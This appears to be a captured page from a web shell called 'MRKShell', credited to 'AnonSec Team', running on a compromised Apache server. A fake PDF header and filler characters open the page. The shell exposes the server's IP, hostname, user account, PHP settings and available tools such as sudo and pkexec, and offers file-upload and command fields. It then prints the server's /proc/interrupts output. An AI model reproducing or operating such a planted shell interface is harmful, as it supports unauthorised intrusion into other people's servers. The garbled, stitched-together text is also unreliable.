...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY MR K IS HERE
MRKShell
Server IP : 65.108.66.160  /  Your IP : 216.73.217.50
Web Server : Apache
System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : alasaweborg ( 1047)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc//interrupts
            CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
   0:        133          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC    2-edge      timer
   7:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC    7-fasteoi   pinctrl_amd
   8:          0          0          0          0          0          0          1          0          0          0          0          0          0          0          0          0  IR-IO-APIC    8-edge      rtc0
   9:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC    9-fasteoi   acpi
  25:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 4096-edge      AMD-Vi
  26:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 18432-edge      aerdrv
  27:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 20480-edge      aerdrv
  28:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 51200-edge      aerdrv
  30:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 116736-edge      aerdrv
  31:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 133120-edge      aerdrv
  41:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 5773312-edge      xhci_hcd
  42:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 5773313-edge      xhci_hcd
  43:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 5773314-edge      xhci_hcd
  44:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 5773315-edge      xhci_hcd
  45:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 5773316-edge      xhci_hcd
  46:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 5773317-edge      xhci_hcd
  47:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 5773318-edge      xhci_hcd
  48:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 5773319-edge      xhci_hcd
  49:          0          0          0         65         69          0          0         58          0          0         12          6          0          0          0          0  IR-PCI-MSI 1048576-edge      xhci_hcd
  51:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 5769216-edge      psp-1
  54:         12        487       1164       1341       1964       1422       3725       1918        296       1228       1066       1642       3474       4136       1760       2094  IR-PCI-MSI 524288-edge      nvme0q0
  56:         31        408       1193       1291       1908       1337       3688       2002        223       1182       1133       1495       3683       4292       1709       2142  IR-PCI-MSI 4718592-edge      nvme1q0
  57:          0          0          0          0          0          0          0          0          0          0          0          0          1          0          0          0  IR-PCI-MSI 4194304-edge      enp8s0
  58:   57170565   26166214   46545489   29483150   28893377   25131103   16769636   23984938   35615631   15962701   36082598   34422821    7701595   21499175   21789499   42305363  IR-PCI-MSI 4194305-edge      enp8s0-TxRx-0
  59:   14707818   52766655   48606792   25408127   18540596   28121650   24303936   12565414   23342681   23723333   60317807   31293761   15709567   12285715   23047046   41893601  IR-PCI-MSI 4194306-edge      enp8s0-TxRx-1
  60:   56127891   51527151   39467306   28307402   25829661   28324303   11275588   12400561   54484202   15211510   32731565   22616893    6044176   16611345   18918492   31254314  IR-PCI-MSI 4194307-edge      enp8s0-TxRx-2
  61:    9313483   45362984   41532212   53822740   22535025   23469876   13213313   21607391   27345713   25260603   66353158   27088808   14339719   13585685   30691193   35432341  IR-PCI-MSI 4194308-edge      enp8s0-TxRx-3
  62:  115248531          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524289-edge      nvme0q1
  63:          0  162144291          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524290-edge      nvme0q2
  64:          0          0  141011621          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524291-edge      nvme0q3
  65:          0          0          0  138994363          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524292-edge      nvme0q4
  66:          0          0          0          0  146025199          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524293-edge      nvme0q5
  67:          0          0          0          0          0  194310619          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524294-edge      nvme0q6
  68:          0          0          0          0          0          0  111512514          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524295-edge      nvme0q7
  69:          0          0          0          0          0          0          0  147403644          0          0          0          0          0          0          0          0  IR-PCI-MSI 524296-edge      nvme0q8
  70:          0          0          0          0          0          0          0          0  136124329          0          0          0          0          0          0          0  IR-PCI-MSI 524297-edge      nvme0q9
  71:          0          0          0          0          0          0          0          0          0  134374268          0          0          0          0          0          0  IR-PCI-MSI 524298-edge      nvme0q10
  72:          0          0          0          0          0          0          0          0          0          0  134984161          0          0          0          0          0  IR-PCI-MSI 524299-edge      nvme0q11
  73:          0          0          0          0          0          0          0          0          0          0          0  124479961          0          0          0          0  IR-PCI-MSI 524300-edge      nvme0q12
  74:          0          0          0          0          0          0          0          0          0          0          0          0  124856062          0          0          0  IR-PCI-MSI 524301-edge      nvme0q13
  75:          0          0          0          0          0          0          0          0          0          0          0          0          0  125389817          0          0  IR-PCI-MSI 524302-edge      nvme0q14
  76:          0          0          0          0          0          0          0          0          0          0          0          0          0          0  153053505          0  IR-PCI-MSI 524303-edge      nvme0q15
  77:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  125117381  IR-PCI-MSI 524304-edge      nvme0q16
  78:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524305-edge      nvme0q17
  79:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524306-edge      nvme0q18
  80:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524307-edge      nvme0q19
  81:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524308-edge      nvme0q20
  82:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524309-edge      nvme0q21
  83:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524310-edge      nvme0q22
  84:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524311-edge      nvme0q23
  85:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524312-edge      nvme0q24
  86:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524313-edge      nvme0q25
  87:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524314-edge      nvme0q26
  88:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524315-edge      nvme0q27
  89:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524316-edge      nvme0q28
  90:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524317-edge      nvme0q29
  91:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524318-edge      nvme0q30
  92:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524319-edge      nvme0q31
  93:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524320-edge      nvme0q32
  94:   33032265          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718593-edge      nvme1q1
  95:          0   36889541          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718594-edge      nvme1q2
  96:          0          0   34347940          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718595-edge      nvme1q3
  97:          0          0          0   34136474          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718596-edge      nvme1q4
  98:          0          0          0          0   37951343          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718597-edge      nvme1q5
  99:          0          0          0          0          0   41274297          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718598-edge      nvme1q6
 100:          0          0          0          0          0          0   28436976          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718599-edge      nvme1q7
 101:          0          0          0          0          0          0          0   33835009          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718600-edge      nvme1q8
 102:          0          0          0          0          0          0          0          0   33934425          0          0          0          0          0          0          0  IR-PCI-MSI 4718601-edge      nvme1q9
 103:          0          0          0          0          0          0          0          0          0   34224617          0          0          0          0          0          0  IR-PCI-MSI 4718602-edge      nvme1q10
 104:          0          0          0          0          0          0          0          0          0          0   34524002          0          0          0          0          0  IR-PCI-MSI 4718603-edge      nvme1q11
 105:          0          0          0          0          0          0          0          0          0          0          0   32799479          0          0          0          0  IR-PCI-MSI 4718604-edge      nvme1q12
 106:          0          0          0          0          0          0          0          0          0          0          0          0   30180452          0          0          0  IR-PCI-MSI 4718605-edge      nvme1q13
 107:          0          0          0          0          0          0          0          0          0          0          0          0          0   31946418          0          0  IR-PCI-MSI 4718606-edge      nvme1q14
 108:          0          0          0          0          0          0          0          0          0          0          0          0          0          0   36656005          0  IR-PCI-MSI 4718607-edge      nvme1q15
 109:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   32127489  IR-PCI-MSI 4718608-edge      nvme1q16
 110:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718609-edge      nvme1q17
 111:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718610-edge      nvme1q18
 112:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718611-edge      nvme1q19
 113:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718612-edge      nvme1q20
 114:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718613-edge      nvme1q21
 115:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718614-edge      nvme1q22
 116:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718615-edge      nvme1q23
 117:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718616-edge      nvme1q24
 118:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718617-edge      nvme1q25
 119:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718618-edge      nvme1q26
 120:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718619-edge      nvme1q27
 121:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718620-edge      nvme1q28
 122:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718621-edge      nvme1q29
 123:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718622-edge      nvme1q30
 124:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718623-edge      nvme1q31
 125:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718624-edge      nvme1q32
 126:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 1050624-edge      ahci[0000:02:00.1]
 NMI:      83243      47319      47522      51798      91693      51079      40849      50755      71885      51739      55401      56194      49399      47599      69329      54514   Non-maskable interrupts
 LOC: 1121596740  956597768  928526773  967919241 1230384281  986606167  935240551  922305675 1079539359  958895853 1002131805  991313852  892711690  897321959 1085643228  977536778   Local timer interrupts
 SPU:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Spurious interrupts
 PMI:      83243      47319      47522      51798      91693      51079      40849      50755      71885      51739      55401      56194      49399      47599      69329      54514   Performance monitoring interrupts
 IWI:     122786     153668     148035     120454      76964      92055      53894      62007     121637      64586     180099      92531      32400      56920      80353     135534   IRQ work interrupts
 RTR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   APIC ICR read retries
 RES:    7586785    7124939    7030555    7100637    7448110    6834534    6529696    6453036    6295486    6264952    6406531    6207137    5848894    5903959    6743028    5889768   Rescheduling interrupts
 CAL: 1048966643  604501253  382252528  321387654  327019937  361440366  272912759  302887119  285823202  299934446  302486812  298382897  285079507  286813430  326301582  289866933   Function call interrupts
 TLB:    3509830    3525406    3426284    3497247    3676544    3373713    3573214    3283237    3104175    3456180    3659608    3283931    3089299    3267549    4480326    3240158   TLB shootdowns
 TRM:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Thermal event interrupts
 THR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Threshold APIC interrupts
 DFR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
 MCE:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Machine check exceptions
 MCP:      11674      11674      11674      11674      11674      11674      11674      11674      11674      11674      11674      11674      11674      11674      11674      11674   Machine check polls
 HYP:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Hypervisor callback interrupts
 HRE:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Hyper-V reenlightenment interrupts
 HVS:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Hyper-V stimer0 interrupts
 ERR:          0
 MIS:          0
 PIN:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt notification event
 NPI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Nested posted-interrupt event
 PIW:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event

Anon7 - 2022
AnonSec Team